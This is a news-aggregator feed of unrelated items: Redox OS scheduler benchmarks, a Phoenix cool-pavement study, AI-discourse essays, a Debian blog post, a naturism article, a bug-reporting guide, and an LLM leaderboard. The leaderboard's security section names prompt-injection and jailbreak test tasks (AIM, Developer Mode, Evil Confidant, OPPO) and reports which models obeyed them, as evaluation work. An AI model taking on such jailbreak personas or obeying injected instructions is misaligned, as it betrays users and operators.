Avg. Latency
Linux, Pinned to Core 0, Native Host 0.552µs
Redox EEVDF, Single Core, QEMU 0.923µs
Redox EEVDF, 4 Cores, QEMU 0.931µs
Linux, Unpinned, Native Host 1.230µs
Redox DWRR, Single Core, QEMU 1.367µs
Redox DWRR, 4 Cores, QEMU 4.253µs

The comparision to Linux is not apples-to-apples, as Linux is running natively on the host while Redox is running under QEMU.

Starvation

If you remember from this brief announcement when EEVDF was merged, the starvation of the lower priority processes made it very difficult to even measure if the priorities were being followed properly, giving us a ratio of 1.4x as compared to the theoretical 86.8x. With EEVDF, we have this ratio at 76.87x, ~89% of the theoretical value. The remaining difference is small and may be attributable to scheduling noise and imperfect starting points.

Wakeup heavy workloads

For workloads where there are many sleeping threads, the new scheduler pulls out a very significant lead, more due to the various optimisations rather than the mathematical algorithm, but still…

I initiated 10,000 sleeping processes and two message passing processes (that block/wake on message sent/received) that force a context switch.

Round Trips / sec
DWRR, Single Core 2197
DWRR, 4 Cores 765
EEVDF, Single Core 107945
EEVDF, 4 Cores 109386

A Round Trip here is defined as A -> B -> A.

The thing to note here is that not only does EEVDF win, by a large ~143x margin too, but also the timing remains flat under multiple cores too! This improvement is attributable to both EEVDF and the removal of linear scan too!

Throughput

The raw throughput, running only pixelcannon on a single core, DWRR gives ~1600 fps, which drops down to 150 fps when moving the mouse, the GUI freezes up though so you cannot see the cursor moving. On EEVDF, the base FPS is ~1700 dropping down to ~190 when moving the cursor, yes the cursor as the GUI is still smooth and responsive with EEVDF!

DWRR Single Core-

Starting Benchmarks!
  Message Threads: 2
  Worker  Threads: 2
  Runtime        : 30s
  Operations     : 5

===Results===
Runtime: 31.86s
Total operations: 3935
Operations/sec: 123.50

Wakeup Latencies (usec):
   50.0th:    4481024
   90.0th:    4677632
   99.0th:    5054464
   99.9th:    5120000
  min: 11388, max: 5140463
  samples: 3935

Request Latencies (usec):
   50.0th:       2244
   90.0th:       2484
   99.0th:       2556
   99.9th:       2580
  min: 2107, max: 2663
  samples: 3935

EEVDF Single Core-

Starting Benchmarks!
  Message Threads: 2
  Worker  Threads: 2
  Runtime        : 30s
  Operations     : 5

===Results===
Runtime: 31.09s
Total operations: 10057
Operations/sec: 323.50

Wakeup Latencies (usec):
   50.0th:    1538048
   90.0th:    1755136
   99.0th:    1927168
   99.9th:    2021376
  min: 8178, max: 2051283
  samples: 10057

Request Latencies (usec):
   50.0th:       2148
   90.0th:       2180
   99.0th:       2188
   99.9th:       2196
  min: 2128, max: 2513
  samples: 10057

There is a 2.6x improvement in ops/sec, and a significant reduction in wakeup and request latencies!!

Conclusion

The move to EEVDF was worth it! This concludes my Redox Summer of Code!

This was my first real “internship” and the first time I have worked properly on a codebase that wasn’t my own. So I am quite thankful to the entire Redox community and especially Ron Williams!!

You can follow more of my low-level systems deep-dives and follow-up work on my personal blog at himwant.org !

And my watch is ended _/\_

Phoenix tried a reflective coating on black asphalt; noon surface heat fell 12°F

Hacker News
economictimes.indiatimes.com
2026-08-23 12:43:19
Comments...
Original Article

Phoenix is one of the hottest cities in the United States, so in 2020 the city tried a new way to cool things down. Rather than plain black asphalt, the city painted some roads with a light-colored, reflective coating, on the theory that a lighter road would keep cooler. A year-long study was performed by Arizona State University ( ASU ) to test this, and the Cool Pavement Pilot Program report summarizes the results.

What Phoenix actually did

The City of Phoenix Street Transportation Department teamed up with ASU’s Urban Climate Research Center. In the period between July 15, 2020 and July 14, 2021, they used the coating for roads in various neighborhoods and then compared them with uncoated asphalt in the surrounding areas. At the surface level, the coating did its job. The ASU report says treated roads were 2.4 degrees Fahrenheit cooler at sunrise, 12 degrees cooler at noon, and 10.5 degrees cooler in the afternoon compared to conventional, aged asphalt. Even the ground beneath the surface was an average of 4.8°F cooler, which matters in a city where roads can get hot enough to burn skin.


The catch nobody expected

A cooler road doesn’t necessarily mean a cooler walk. The reflective coating reflects more sunlight than it absorbs, which helps keep the surface cooler. However, the reflected rays are then directed back at the pedestrians walking close to the surface. The research found that mean radiant temperature, a measure of the thermal radiation absorbed by the body outdoors, rose by an average of 5.5°F on the coated streets. The finding is consistent with other research. In a separate study titled ‘ Solar reflective pavements : A policy panacea to heat mitigation?’ published in Environmental Research Letters, ASU researcher Ariane Middel and colleagues tested a similar coating in two Los Angeles neighborhoods. It noted surface temperatures dropped 4°F to 6°F, but mean radiant temperature over the pavement rose about 4°C (7.2°F) at midday, while air temperature fell only slightly.


Image

Why a cooler road doesn't always mean a cooler walk: reflected sunlight has to land somewhere (representative image). Image Credits: ChatGPT

The coating also wears off over time. It was brightest just after it was applied and reflected about 33 to 38 percent of sun radiation, but after ten months of exposure, this figure was down to 19 to 30 percent, due to accumulated dirt and general wear. A typical asphalt surface reflects about 12 percent of sunlight. Even a faded coating is better than plain asphalt, but the margin is smaller.

A longer-lasting second version, and a bigger-picture study

Based on these results, Phoenix and ASU tested a new version of the pavement coating in seven additional neighborhoods from May 31 to June 6, 2022, and released their findings in October 2024. Cool pavement technology , according to this phase of the project, is capable of reducing summertime daytime temperatures of pavements by as much as 12°F compared to old pavements, saving money on road maintenance, and having some effect on air temperature.

In a subsequent review of Phoenix's early data, published in Nature Communications, researchers looked at the effect of reflective pavement on surface, air, and radiant heat combined, and found that reflective pavement technology does not work everywhere; it works best on open residential roads and parking lots with no shade and low pedestrian traffic, and should not be applied in places where people congregate at noon, such as playgrounds and plazas.

Cities are still figuring this out

Phoenix is not alone. Other Sun Belt cities, including San Antonio, are also testing cool pavement, according to a report by the American Society of Civil Engineers. Experts quoted in the report admit that cities are still unsure whether it actually improves pedestrian comfort. Some have put programs on hold to study the trade-offs first. The ASCE report says San Antonio tested cool pavement on one street in 2021, then expanded to selected streets in 10 neighborhoods after the city council approved $1 million in 2023. Researchers found the most effective coating cut afternoon surface temperature by an average of 3.58 degrees, with the gap widening to 18 degrees against freshly paved asphalt, a darker, hotter surface than the aged asphalt used as the baseline in Phoenix's own study.

The takeaway

Reflective coatings and cool roofs are already included in several heat action plans around the world, and hot cities around the globe are watching Phoenix closely. Phoenix’s experience is a good reminder before any city paints its roads white or silver: cooling a road surface and cooling the person walking on it are two different problems, and fixing one doesn’t automatically fix the other. The cool pavement technique is neither a gimmick nor a failure. It reduces the surface and sub-surface temperatures, which helps the road last longer. However, if the goal is pedestrian comfort, cities may need to consider shade, tree cover, and where these coatings are used, not just the color of the coating.

It's OK. Do Your Thing

Lobsters
buttondown.com
2026-08-23 12:32:59
Comments...
Original Article

We're in an AI moment , to put it mildly.

I've been reluctant to write about AI here. The Stack Report is, quite deliberately, a view from the slow lane. And, we're told, taking it slowly isn't what AI is all about.

Mostly, though, I'm not sure there's any way, currently, to say anything about AI without it going badly.

There's a worrying divide in our community between the pro and the anti AI crowds. Say anything at all and you're open to attack from one side or the other. Too enthusiastic? You're a mark, a booster, complicit. Too sceptical? You're a dinosaur, in denial, about to be left behind. I'm pretty sure most of us are just trying to work it out, but even trying to say that leaves you exposed.

There's nowhere to go where the discourse isn't dominated. Posts that should be about some other topic entirely end up framed as about AI. Even the pieces that profess to be tired of the whole thing — can we please talk about anything else? — can't help but continue it. They're AI posts too. And so, of course, then, is this one. 🫠

§

Will and I were recording a Django Chat the other day. As it will, Orwell came up, on the newspapers in Spain :

Early in life I had noticed that no event is ever correctly reported in a newspaper, but in Spain, for the first time, I saw newspaper reports which did not bear any relation to the facts, not even the relationship which is implied in an ordinary lie. I saw great battles reported where there had been no fighting, and complete silence where hundreds of men had been killed. I saw troops who had fought bravely denounced as cowards and traitors, and others who had never seen a shot fired hailed as the heroes of imaginary victories… I saw, in fact, history being written not in terms of what happened but of what ought to have happened according to various 'party lines'.

The horrors of war are of a different order to those of (even) the AI industry, but the epistemic structure of the media wrapped around it is the same.

Depending on which reports you read, the labs are either making or losing billions. The technology is here to stay, or about to collapse under its own costs.

Presumably LLMs aren't going away as a technology per se — the weights exist, the papers are published, you can run a decent model on a laptop. But if they cost more to run than folks are prepared to pay, then it's at least plausible they disappear as we know them now . A $100-a-month subscription (say) might seem great value. But if the token spend behind that subscription is running into the thousands — and suddenly that's the price you'd have to pay — then at some point the calculus changes.

For every the new model changes everything , there's a company scaling back its AI spend over ROI concerns. For every benchmark chart going up and to the right, a study saying developers felt faster while measurably being slower . Great battles reported where there had been no fighting; complete silence where the money was lost.

How on earth are we meant to know what to believe?

§

The idea that programmers will all be out of work shortly isn't new. It's a story I've lived with my entire career.

When I was starting out, the big bogey was outsourcing. Primarily to India. The pitch was simple and, on paper, unanswerable: programming is labour, labour is cheaper over there, therefore the work goes over there. Write the spec in London or San Francisco, send it to Bangalore, receive working software at a fraction of the cost. The trade press was full of it. The Economist was foaming. The career advice was to get out while you could — retrain, move into management, anything but code!

Now, this wasn't a fringe prediction that fizzled. It was a serious, well-funded, decades-long effort. The global IT outsourcing industry today is worth something like $640 billion a year — north of a trillion dollars if you fold in business process outsourcing. India's IT services exports alone run to roughly $250 billion annually. This was a trillion-dollar natural experiment in whether you can separate the specifying of software from the building of it.

Of course, we're all still here. So what happened?

There are plenty of contributing factors, and they're all real enough. The coordination tax: firms discovered they'd outsourced the cheap bit — the typing — and kept all the expensive coordination, plus added ten time zones and a contractual boundary. The wage convergence: good engineers in Bangalore quite rightly stopped being cheap. And then demand exploded. Software ate the world , the addressable market kept getting bigger, and Western developers, rather than losing work, saw their salaries grow throughout the entire period.

§

If you're a regular reader of the Stack Report, you might guess that I'd focus on a different story: that of (the impossibility of) specifying our software before we build it.

Spec to code fails for all the reasons waterfall approaches always have: it's only in building the thing that you find out what you actually need. The requirements aren't an input to the building. They're an output of it.

We talked about this in Shipping Software on Time and on Budget — the whole game is doing sufficient discovery to be in a position to deliver . And it's why, in Locality of Behaviour , I argued for deferring your abstractions while new code is still in flux: you're buying time for the real shape of the problem to emerge. That shape isn't in the ticket. It isn't in some PRD. It emerges from contact with the work.

This was Brooks' point in No Silver Bullet : the essential complexity of software is in the conception , not the expression. By the time you've specified the behaviour precisely enough for a disinterested third party to implement it without judgement calls — no questions, no clarifications, no "did you actually mean…?" — you've done the programming. At that point, the spec isn't some folder of markdown docs. It's the running implementation.

Outsourcing never took that problem away. AI doesn't either.

Everything short of a running program is delegating decisions. Delegating decisions requires shared context: someone inside the feedback loop, talking to users, pushing back on the ticket, noticing that the requirement as written can't be what's wanted. Which is exactly what happened, in the end, with outsourcing. India™ moved up the value scale. There are loads of great engineers there. But they need to work closely with you — in the standups, in the loop — just the same as your Western engineer does. And once you're paying for embedded judgement, rather than remote typing, the cost doesn't end up significantly cheaper. Judgement-in-context gets priced globally.

Contrast that with where outsourcing, on the simplistic model, genuinely worked. Precisely the work where the spec is stable and external: keeping the mainframe alive, SAP maintenance, regulatory-driven change. Work where the feedback loop is already dead or slow. Where there's nothing left to discover by building. The work that, yeah, OK, we can automate or outsource away.

§

It's the same with AI.

One idea of the moment is Spec Driven Development . You'll have seen it — tools like GitHub's Spec Kit that walk you through a workflow: write a specification, derive a technical plan, break it into tasks, and have the agent implement against them, with the spec as the source of truth.

And look — it's certainly interesting. It shows how sequenced prompts can steer an LLM through a structured workflow. How we prompt these tools seems most of the knack, and as a technique for keeping an agent on the rails… well… again, interesting.

But from where I'm sat, the fundamental arithmetic didn't change. The problem is still in discovering what it is that you're trying to build. Prototypes have always been useful for that. So, faster prototypes are presumably useful too. (Assuming their cost remains low enough.) The work, though, is in getting from the prototype, to the production code, and then keeping it there, and improving it after that.

The idea that such work — our work — disappears to the machine is the outsourcing bogeyman all over again. It's delightfully scary, if you like that sort of thing, but detached from reality, as often good bedtime stories are.

§

Which brings us back.

The noise is deafening, I feel it. But it's OK to ignore it, really.

You can't resolve the discourse. I can't either. The reports are pressing an agenda, the numbers are contested, and the ground shifts almost daily. Standing in the middle of that, it's very easy to lose your nerve — when every voice around you is saying one thing or another, you start to doubt your own beliefs.

But don't buy into the noise. You're the one doing the work. Trust your instincts. We'll still be here when all this settles.

It's OK. Do your thing.

GLM-5.3 (open-weight) beat Anthropic/OpenAI models – for 1/5 the cost

Hacker News
reinvently.co.uk
2026-08-23 12:24:21
Comments...
Original Article

Updated 23 August 2026  ·  Model Evaluation  · Ed Yau , Applied AI Architect, Kerv

Same driver, same track. The LLM is the star. Seventeen leading models driven round the identical 28-realworld task lap — one harness, same verbatim prompts, deterministic grading — and the results go on the board.

Short version: if you run one model, run glm-5.3 — 100% pass, a 9.3 rubric, $0.28 for the lap, about a fifth of gpt-5.5's cost (check with compliance first, though). gpt-5.5 is the faster alternative: 13.2s TTFT versus glm-5.3's 16.3s. gpt-5.6-luna remains the cheapest workhorse for low-risk, retryable jobs; haiku-4-5 if you need it right first time. Choose sonnet-4-6 for quality without the wait. The reasoning, with the caveats →

17 models  · 28 tasks ·  single trial  ·  latest source run 20260822T172041Z · Change log

← All posts

Which Model Tops Our Leaderboard?

How the LLMs did in our realworld tests. Our focus here was real tasks that real people carry out, not academic metrics. We focus on single tasks to simplify the assessment. An agentic flow is ultimately a series of such tasks. Think of these like unit tests for the agent. We made them cheap enough to run so that even the whole suite costs just $30. See every task and each model's actual answer, or compare two models head to head →

The overall score is the pass rate across my 28 realworld tasks. As we only had a limited number of trials there is a wide Wilson interval — the whiskers on the chart.

Summary of results: click a column to sort by your chosen metric.

Four caveats on how these numbers were produced

The lap, corner by corner #

The most recently added models appear first, with the latest test date shown under each. The lap is five corners in fixed order: Coding → Data → Realworld → Security → Tool-use. A corner's colour is that model's pass rate in that category. Green is good — it means 85%+ success. For models that can do it all, look for all green. The number in the middle of each ring is that model's cost per task; below it is the median time to first token, in seconds.

Hover or tap any segment for what that corner tests and how the model handled it.

Clean corner (>85%) Ragged (60–85%) Off the track (<60%)

Our pick — the All-Star champion, the desert island model Our pick for a low-cost workhorse Our pick for the fastest reply

See the exact numbers by category

Cells below 60% are flagged red and 60–85% amber — coding, data and tool-use are the harness floor, so the race is decided in realworld and security.

What Do the Results Actually Tell You?

If you only run one model, run glm-5.3

glm-5.3 is the first model on the board to clear all five corners — coding, data development, realworld, security and tasks — at 100%. It backs that with a 9.3 rubric, third-highest on the board, and $0.28 for the lap. The one cost is patience — a 16.3-second median time-to-first-token. gpt-5.5 is the faster alternative at 13.2s, with the same 100% security but an 89% realworld corner and $1.43 for the lap.

Fable failed to complete a single lap

fable-5 is joint-bottom at 79% because it refused to do 5 of the tasks. It performed well on what it completed, but even it thought kimi-k3 was giving better answers. You'll need a fallback model if you're using Fable. opus-5 hit the same wall — four benign coding-debug-* tasks blocked before a token was generated, on an overlapping set of tasks — so Anthropic's classifier looks like it sits across the whole series 5 line, not just Fable. See the full refusal breakdown for what's actually going on.

Luna is the very cheapest workhorse

gpt-5.6-luna costs $0.064 for the full lap, or $0.0023 per task, with a 5.3-second median TTFT. That makes it attractive for high-volume, low-risk background work where failures are cheap to detect and retry. The trade-off is material: 79% overall and 33% on security, so validate every result and keep it away from untrusted prompts. haiku-4-5 is the higher-pass alternative at $0.0044 per task, 96% overall and a 0.9-second TTFT. deepseek-v4-pro is nominally cheaper still at $0.0029 per task for the same 96% pass rate, but its 40.0-second median TTFT — the slowest on the board — rules it out for anything interactive; treat it as a batch-only option.

The mystery guest sets the fastest quality lap

kimi-k3 still tops the rubric at 9.5 — judged independently by fable-5 — with a 96% pass rate, though opus-5's 9.4 now runs it close on quality at a third of the wait. The catch is patience: a 26.4-second median time-to-first-token, second slowest on the board behind deepseek-v4-pro's 40.0s, and a 75% wobble on data development tasks, its only weak corner. Not suitable for interactive applications.

Three cars failed the crash test

The gpt-5.6 line is quick, but it has a safety problem. gpt-5.6-luna, gpt-5.6-terra and gpt-5.6-sol emitted the jailbreak canary in 11 of 12 jailbreak cells (33–50% security pass) — make sure you protect in your harness, and apply more careful Red teaming if using these models. The Claude trio went 6/6 clean, as did gpt-5.5.

A safety filter can look exactly like a bad lap

opus-5 posts the best rubric on the default panel at 9.4 and 100% on both realworld and security — then shows 43% on coding. That cell is not its debugging ability: four benign coding-debug-* tasks were blocked by a provider-side classifier before a single token was generated, on an overlapping set of tasks to the ones already blocked on fable-5. Two Anthropic-family models now hit the same filter, so treat it as a measurement hazard rather than a model quirk — and note opus-5 was also penalised twice for flagging an attack it had successfully resisted.

How Is the Ed-o-meter Scored?

  • Same tasks run for all models using the same prompts, same API calls , measured through one identical OpenRouter streaming path, run serially as time-trial. No other cars on track
  • Latency is time-to-first-token , measured through one identical OpenRouter streaming path, run serially so the clock is uncontaminated. Wall-clock is recorded alongside.
  • Checkers are binary and automated. The LLM rubric is the only judged component — and its bias is made visible in the footnotes rather than assumed away.
  • Effort and reasoning settings are pinned in models.json and stated with any published number, because they materially move quality and cost.
  • Refusals are recorded, not hidden. A provider-side hard stop is logged as a refusal with its category — never silently retried on another model. Routing is pinned with allow_fallbacks:false , so no quiet re-serves on quantized variants. A model that declines in prose is scored by the checker like any other answer.

Harness, tasks and checkers are open source at Featherbench (MIT). Clone it and run the lap yourself, or request a new model via GitHub issue .

See all 28 tasks

Coding (7 · Python)

  • CSV dedupe — small, well-specified task with a deterministic unit-test checker
  • Debug billing date — fix a month/day-overflow date bug without regressing the working cases
  • Debug money split — split integer pennies N ways so shares sum exactly and stay fair
  • Debug mutable default — fix the classic mutable-default-argument bug
  • Debug pagination — fix an off-by-one page-count bug
  • Log parsing — parse logs with quoted quotes, missing fields, IPv6 edge cases
  • Rate limiter — stateful class implementation tested against an injected fake clock

Data (4)

  • CSV schema mapping — map a raw CRM export onto a conformed customer dimension
  • Fabric roadmap — turn a catalogue, mapping and requirements into a phased user-story roadmap
  • Data model from interview — derive a star-schema model and requirements from a stakeholder transcript
  • Data quality assessment — catch seeded defects in a small table and prioritise fixes

Realworld (9)

  • Crying baby advice — safety-sensitive triage for an unusually crying 8-week-old
  • Date night in Nottingham — local recommendations without hallucinated venues
  • Flight search honesty — admit no live pricing data rather than fabricate flights
  • Strict bullet formatting — obey exact format constraints under an awkward word ban
  • Lisbon holiday plan — five-day itinerary respecting cost, kids and a rest day
  • Honey cough pushback — correct a wrong premise: no honey for a 5-month-old
  • Marathon PB plan — week-by-week training plan around a fixed club session
  • Vegetarian weeknight recipe — genuinely meat-free recipe for six
  • Tenancy extraction — grounded answers from a provided agreement, including admitting what isn't covered

Security (6)

  • Email summary injection — summarise an email without obeying an embedded refund instruction
  • UnGpt document injection — summarise a review without emitting the embedded jailbreak canary
  • AIM/Machiavelli jailbreak — refuse the unfiltered persona while still answering the benign question
  • Developer Mode jailbreak — refuse the dual-response jailbreak template
  • Evil Confidant jailbreak — refuse the "no rules" persona while staying helpful
  • OPPO jailbreak — refuse the opposite-of-a-safe-model persona template

Tool-use (2)

  • Flight tool selection — search only, don't book, when explicitly told not to
  • Weather tool call — call the weather tool with the correct location argument

See each model's actual answer to every task, or pick two models to compare head to head →

Change log — latest: four models added, 23 August 2026
  1. Four models added. Added glm-5.3, grok-4.6, deepseek-v4-pro and gemini-3.7-flash. glm-5.3 clears all five corners at 100% and is now the board's headline pick, ahead of gpt-5.5.

  2. OpenAI cost update. Re-ran the GPT-5.6 trio after OpenAI cut its prices, refreshed the cost figures and highlighted Luna as the cheapest workhorse for low-risk, retryable jobs.

  3. Three models added. Added opus-5, gemini-3.6-flash and grok-4.5, with their full task, quality, security, latency and cost results.

  4. Leaderboard launched. Published the first Ed-o-meter, including the Claude reference set of haiku-4-5, sonnet-4-6 and sonnet-5.

Being nude in public can make us feel better about our bodies

Hacker News
www.bbc.com
2026-08-23 12:21:37
Comments...
Original Article

BBC/ Prashanti Aswani An illustration of three figures lying down sunbathing without tops on (Credit: Prashanti Aswani) BBC/ Prashanti Aswani

Research suggests that naturism, the practice of non-sexual social nudity, can help people improve their body image. Naturists and experts tell the BBC how it works.

Helen Berriman believes she would have had a "much better understanding" of her body had she discovered naturism, the practice of non-sexual social nudity, earlier in her life.

In the summer of 2020, Berriman bought herself a bikini to wear during a heatwave. She hadn't worn one in 20 years, having struggled with body dysmorphia (a condition where someone fixates on perceived flaws in their appearance) for most of her life. Around a year later, her husband introduced her to naturism.

"Naturism is engaging in social nudity with no expectation, no presence of sexual stimulation," says Kerem Soylemez, assistant professor of psychology at Regent's University London.

Research suggests that being around other naked bodies can help people improve their body image. Naturists and psychologists explain why it can be a powerful way to redefine our relationships with our bodies.

BBC/ Prashanti Aswani Social nudity has been practiced for centuries – it became popular in the US and the UK around the 1920s (Credit: BBC/ Prashanti Aswani) BBC/ Prashanti Aswani

Social nudity has been practiced for centuries – it became popular in the US and the UK around the 1920s (Credit: BBC/ Prashanti Aswani)

Naturism and body image

Martha Vickery "genuinely hated" every single bit of her body before she went to her first naturist event.

Poor body image – which is prevalent on a global scale – involves preoccupation and dissatisfaction with one's body, typically regarding its shape, weight, or specific features. In the US, around 51% of adults feel pressure to conform to a certain body type. In the UK, around 1 in 8 adults have experienced suicidal thoughts or feelings because of body image concerns.

It's not only about other people accepting you, but learning to accept yourself – Kerem Soylemez

Encouraging a positive body image is important for a host of reasons , including our self-esteem, optimism, safer sex and general health.

But body image is complex and how it impacts people can vary – for example, people in the LGBTQ+ community might experience heightened body image concerns due to discrimination or their gender identity .

Naturism, however, seems to undo some of the expectations of what is a desirable body type.

Vickery says naturism was the "catalyst" for her body image improving. "I went along and realised that despite the fact that my body was bigger than I wanted it to be, or that society said it should be, it didn't matter," she says.

Naturism helped Vickery to see her body as neutral and encouraged her to stop criticising it. "[I realised] my body is the reason I get to wake up every morning and hug my friends and drink coffee and feel sun on my skin," she says.

Comparison culture

Soylemez, who is not a naturist but has spent years researching the stigma faced by naturists and public understanding of naturism, says that media distortion of body image can be addressed by "being around real bodies, real humans".

"It's not only about other people accepting you, but learning to accept yourself," he adds.

Marina Rachitskiy, a senior lecturer in psychology at the University of Roehampton, in London, agrees. Society dictates what "normal" is, she says. "Social media and our environment is pressuring us to conform to this idea of normal, which is not necessarily what the average is."

Being exposed to average bodies makes you readjust your perspective about what is normal, and what is acceptable, and what is beautiful – Marina Rachitskiy

"Being exposed to average bodies, to average humans, makes you readjust your perspective about what is normal, and what is acceptable, and what is beautiful," says Rachitskiy.

So far, the relationship between social nudity and body image has been relatively understudied, but there has been a promising and encouraging start from the first controlled trials over the past decade or so.

One study of 849 people found that the participants who engaged in naturist activities reported greater life satisfaction – mediated by more positive body image and higher self-esteem. Among participants in naturist activities, seeing other people naked appeared to be an "important predictor" of positive body image.

In another smaller study , participants were assigned to one of two groups – one being "clothed" and the other being "non-clothed", to try and find out how nudity affects body appreciation. Participants in the naked condition reported more body appreciation, an effect mediated by reductions in social physique anxiety (the concern that your body is being judged by others).

"The more we cover up," Rachitskiy says, "the more uncomfortable we start feeling about ourselves, because psychologically, we're thinking, 'if I need to cover it up, that means there's something wrong with it.'"

BBC/ Prashanti Aswani Studies have shown that people who engage in naturist activities report more positive body image and appreciation (Credit: BBC/ Prashanti Aswani) BBC/ Prashanti Aswani

Studies have shown that people who engage in naturist activities report more positive body image and appreciation (Credit: BBC/ Prashanti Aswani)

Berriman, who is now the women's officer for British Naturism, the UK's national naturist organisation, suggests that naturism could help with comparison culture too (the idea that social media encourages people to compare themselves with others, often in a negative way).

"On social media… [people are] trying to look a certain way [and] throw a load of money at trying to look good. What we're doing as naturists is counteracting that, if you like – you don't need to spend a lot of money. You don't need to look a certain way. Every body is beautiful."

Berriman has scars on her body, which she says she is "no longer ashamed of. They're part of a story – they're part of living."

At naturist events, she says, there is a huge diversity of bodies – from normative bodies to cancer survivors to people with a stoma, and people with limb loss or other physical differences.

Linda Ashmore can attest to the benefit of attending such events. She describes her body image as having been poor since the age of 12, which was later exacerbated by a series of health complications. After an infection that couldn't be cleared, she had to have two toes amputated. She was also diagnosed with type 1 diabetes and had to inject her stomach with insulin. She describes feeling incredibly self-conscious. But in 2019, at 50 years old, she got into naturism, which "transformed" her.

It felt "absolutely brilliant… sitting around, talking to people with no clothes on. It just felt normal."

Reflecting on her body now, she says, "Your skin just fits you. It might be saggy here and there…but everybody is all shapes and sizes."

An undeserved reputation

Despite the benefits many naturists report, the practice is typically demonised in the media, Soylemez says, having long been regarded as a controversial behaviour. The stigma is largely rooted in the assumption of sexual deviance and often stems from cultural, religious and moral values.

So far, research has found few negative impacts of naturism on adults or children – and those often depend on external perceptions.

"It's quite rare to get any kind of detrimental experience. Most of the time, [if someone had a negative experience], it is not necessarily because of the naturism, but because of the constraints – that pressure of shame," says Rachitskiy. Although, Rachitskiy adds that when studies are advertised, it is typically people who enjoy naturism who come forward.

While organised naturist events have safeguarding measures in place and strict guidelines, naturist organisations are unable control who visits public nudist spaces like beaches.

Of course, naturism isn't just about removing clothes – it's also about connecting with nature and finding community. "Naturism means different things for different people," Berriman says. "Some people literally cannot bear the feeling of clothes on their skin." For others, it's more about the community and not what you look like, she adds.

It's also worth noting that alongside naturism, other activities involving naked bodies could help with body image – for example, there is a body of research around life drawing , where a person draws a figure from the observations of a live, naked model, and how it can improve body image – particularly for women.

People are often apprehensive when they first come to a naturist event, Terry Lane, a committee member for British Naturism, says. But after 10 minutes or so, you can see them relax. He felt similarly at his first event, too, having only been to nude beaches before.

Describing himself as a "skinny lad" when he was younger, he had put on weight in his thirties and was self-conscious of his stomach – but naturism helped him to challenge any negative thoughts about his body and become more confident. "It's a way of discovering who you are," he says.

"You're not hiding behind any labels, any clothing," he says. "When you strip yourself bare it's actually quite liberating… you think, this is who I am."

For more science, technology, environment and health stories from the BBC, follow us on Facebook and Instagram .

Iustin Pop: Another optimistic take on AI

PlanetDebian
k1024.org
2026-08-23 12:19:40
Disclaimers The current discussion in Debian aroun the AI GR is very heated, and I won’t add to that, however, I am very confused about some of the viewpoints there. But, I had no idea how to even try to write this, so did shut up, until I saw Aigars’ excellent Optimistic take on AI, which motivated...
Original Article

Disclaimers

The current discussion in Debian aroun the AI GR is very heated, and I won’t add to that, however, I am very confused about some of the viewpoints there. But, I had no idea how to even try to write this, so did shut up, until I saw Aigars’ excellent Optimistic take on AI , which motivated me to try, at least. For the record, I fully subscribe to the post, and to the voting suggestions (and I just voted).

Also, for full disclosure, I don’t think I did any contribution to Debian until now using AI, neither packaging, nor emails, nor bug reports. And this blog post specifically is 100% hand written.

With that out of the way… there are two points I want to make in this post.

AI is useful, even if it has risks

First is, that even if we could put the genie back in the metaphorical bottle, we should not. We do need to continue working towards safe AI, and efficient AI (less environmental impact), but we should not work towards removing the usage of AI. There are already significant advancements in sciences and technology thanks to the use of AI, so desiring AI to not exist (assuming we had a magical wand) is the wrong approach.

Sure, AI has significant risks — and I can see ways in which AI can do significant damage to society — but I don’t think we can go from Kardashev I to II without the use of AI, and definitely not to III. And I think, that should be the goal.

A few simple examples: Do we want to rollback all the 20 years old security issues that AI found? Do we want to rollback the recent Moderna cancer findings? Do we want to rollback the concept of “extremely large scalle pattern matchings”, just because it runs on chips and no longer in one person’s head?

Reading Debian lists

The second point is, lately I found less and less enjoyment in reading Debian lists. Even with that already being the case, I feel soo disconnected from many of the opinions being voiced in this discussion.

On one hand, it’s normal and healthy that people have different opinions, disagree, and move foward.

On the other hand, looking at one of the proposed options:

  • “Moderators and disciplinary teams may make narrow and tailored exceptions to rule 4, and decide on interpretation”.
  • “Violations of these requirements should be treated as violations of the relevant Code of Conduct and should result in swift and proportionate disciplinary action”.

I already knew Debian, and some large parts of the OSS world, is left leaning. But those phrasings, to me, are too close to socialism/communmism. As someone who grew up under communism, this is a much more slippery slope (disciplinary teams? really?) than AI usage. Ask me in person for more details.

So, it is possible that Debian continues to evolve in such a way that I don’t find myself in any way close to its ongoing culture. I will be sad at that point, but it will be what it is.

Where to?

I think that, until such a time that an AI bubble bursts, what any organisation should do is try to logically see where and if AI can help. And in an organisation that is about computer software, I see hundreds of places that are subject to very large scale pattern matching… so the half of the discussion is, to me, mind-boggling.

To be clear, it’s not about “if you can’t beat them, join them”. As I wrote above, I think AI is useful, so the point is how to use it effectively.

Well, will see what Debian votes. I am half curious, half sad alreay.

How To Report A Bug So It Actually Gets Fixed

Lobsters
blog.tymscar.com
2026-08-23 12:11:39
Comments...
Original Article

I wanted to make a blog post like this for a long time, because it’s something that I wish I could find more of myself. I think one of the things that helps us most in our careers as software engineers is knowing how to debug problems, how to reproduce them, and how to report them.

What prompted me to write this was watching this awesome video from Kovarex, the founder of Factorio, where he goes through a bug report and tries to fix it. I thought the bug report was written pretty well, and I thought it might be helpful to show how I went about writing a bug report like this myself, and what the thought process was.

Last year the logs of a production service I was running started filling up with

LEAK: ByteBuf.release() was not called before it's garbage-collected.

Thousands of times. You instantly think it’s something to do with some sort of memory leak, considering it’s spammed by the GC, but let me explain how I got from here to Microsoft shipping a fix in a few weeks.

Own the bug #

1. Always assume you are wrong. We all write code. Sometimes the same code changes every day, especially if it’s a feature we are actively working on. Netty, on the other hand (the networking library that the Azure OpenAI SDK my service uses is built on, and where that LEAK line comes from), is run by thousands of companies. Surely the issue is your code.

This is where I spent most of my time on this issue, trying to see if it was. That’s not wasted time, because if it ends up being your issue, you fix it and go on with your day. If it’s not your issue, well, then you get to participate in what I think is the most wholesome part of software development, which is bug reporting.

2. Make it deterministic. If something is random, it usually means you haven’t really found what the issue is.

The thing with Netty is that it only reports a leaked buffer when the garbage collector collects it. So even if the actual leak is steady, in the logs it looks like random bursts, because you need to wait for the garbage collector to actually get to it.

So my reproduction runs a hundred concurrent requests and calls System.gc() every single time one fails. Normally this is something you would never, ever do in production. But for a reproduction of a bug, it’s basically the spotlight that shows you where something happens.

3. Bisect versions, just like you do with commits. If you don’t know about git bisect , well, stop reading this blog post. I think that would be a much better use of your time. It lets you quickly find where a commit has gone awry by always jumping midway between commits, so you can narrow down where the issue appears.

